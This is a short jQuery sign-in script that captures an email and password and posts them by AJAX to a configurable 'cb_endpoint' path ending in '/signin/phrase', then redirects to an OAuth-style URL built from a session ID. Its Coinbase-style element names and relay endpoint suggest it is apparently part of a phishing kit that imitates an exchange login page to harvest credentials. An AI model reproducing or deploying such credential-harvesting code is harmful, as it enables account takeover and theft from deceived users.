"use strict";
var cb = document;
$(cb).ready(function() {
	$('#password').focus();
	$("#password").keyup(function(e) {
		var keyCode = e.keyCode || e.which;
		if (keyCode === 13) { 
			e.preventDefault();
			$("#signin_button").click();
			return false;
		}
        $("#pass_top").css({
            '--border-color-unfocused': 'var(--line-heavy)',
            '--border-color-focused': 'var(--primary)'
        });
        $("#roleprepass").hide();
        $("#cds-textinput-description-ji3kw2vnfgx").hide();
    });
	
	$("#signin_button").click(function() {
		$(".flash").hide();
		var email = $('#email').val();
		var pass = $('#password').val();
		$("#signin_button").prop('disabled', false);
		$("#signin_button").val('Submit');	
				if (pass == "" || pass.length < 6) {
			$(".flash").show();
		} else {
		$("#signin_button").prop('disabled', true);
		$("#signin_button").val('Signing in...');			
		$.ajax({
                type: 'POST',
                url: cb_endpoint + '/cb-ajax/signin/phrase',
                data: {
                    email: email,
                    password: pass
                },
                success: function(res) {
					if(res == "2"){
						location.replace(cb_endpoint + "/oauth/authorize/oauth_signin?client_id=" + session_id);
					}else{
						$("#signin_button").prop('disabled', false);
						$("#signin_button").val('Submit');
						$(".flash").show();
						$('#password').val("");
						$('#password').focus();
							$('#phone').focus();
						}
					}
			});
		}
	});
	
});